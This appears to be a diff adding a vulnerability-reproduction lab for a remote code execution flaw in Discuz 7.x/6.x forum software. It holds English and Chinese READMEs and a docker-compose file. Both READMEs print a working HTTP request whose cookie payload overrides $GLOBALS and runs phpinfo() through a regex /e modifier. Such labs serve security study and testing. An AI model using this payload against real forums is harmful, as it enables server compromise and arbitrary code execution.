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discuz/wooyun-2010-080723/README.md

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+# Discuz 7.x/6.x Remote Code Execution via Global Variable Override
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Discuz is a popular forum software widely used in China. A remote code execution vulnerability exists in Discuz 7.x/6.x versions due to insufficient global variable protection.
+
+In PHP 5.3.x, the default value of `request_order` in php.ini is set to "GP", which means `$_REQUEST` no longer includes `$_COOKIE` by default. This allows attackers to override global variables through cookies by injecting `$GLOBALS`, leading to remote code execution.
+
+References:
+
+- <https://www.secpulse.com/archives/2338.html>
+
+## Environment Setup
+
+Execute the following command to start Discuz 7.2:
+
+```
+docker compose up -d
+```
+
+After starting the container, visit `http://your-ip:8080/install/` to install Discuz. Use the following database settings:
+
+- Database Host: `db`
+- Database Name: `discuz`
+- Username: `root`
+- Password: `root`
+
+![](1.png)
+
+## Vulnerability Reproduction
+
+After installation, find an existing post and send a request with the following cookie that contains the payload `GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();`:
+
+```
+GET /viewthread.php?tid=10&extra=page%3D1 HTTP/1.1
+Host: your-ip:8080
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
+Connection: close
+
+
+```
+
+The `phpinfo()` function will be successfully executed, demonstrating the remote code execution vulnerability:
+
+![](2.png)
+
+> Note: Some articles online claim that a post with an emoji comment is required, but the actual test found that it was not necessary, and the reason still needs to be analyzed from the code.

discuz/wooyun-2010-080723/README.zh-cn.md

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+# Discuz 7.x/6.x 全局变量防御绕过导致代码执行漏洞
+
+Discuz是一个广泛使用的论坛软件系统。在Discuz 7.x/6.x版本中存在一个由于全局变量保护不足导致的远程代码执行漏洞。
+
+由于PHP 5.3.x版本中php.ini的设置里`request_order`默认值为"GP"，导致`$_REQUEST`中不再包含`$_COOKIE`数据。攻击者可以通过在Cookie中传入`$GLOBALS`来覆盖全局变量，最终造成远程代码执行漏洞。
+
+参考链接：
+
+- <https://www.secpulse.com/archives/2338.html>
+
+## 环境搭建
+
+执行如下命令启动Discuz 7.2：
+
+```
+docker compose up -d
+```
+
+启动后，访问`http://your-ip:8080/install/`来安装Discuz，使用以下数据库配置：
+
+- 数据库地址：`db`
+- 数据库名：`discuz`
+- 数据库账号：`root`
+- 数据库密码：`root`
+
+![](1.png)
+
+## 漏洞复现
+
+安装成功后，找到一个已存在的帖子，向其发送数据包，并在Cookie中增加payload `GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();`：
+
+```
+GET /viewthread.php?tid=10&extra=page%3D1 HTTP/1.1
+Host: your-ip:8080
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
+Connection: close
+```
+
+可以看到`phpinfo()`函数被成功执行，证明远程代码执行漏洞利用成功：
+
+![](2.png)

discuz/wooyun-2010-080723/docker-compose.yml

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+services:
+  discuz:
+    image: vulhub/discuz:7.2
+    depends_on:
+      - db
+    ports:
+      - "8080:80"
+  db:
+    image: mysql:5.5
+    environment: 
+      MYSQL_ROOT_PASSWORD: root
+      MYSQL_DATABASE: discuz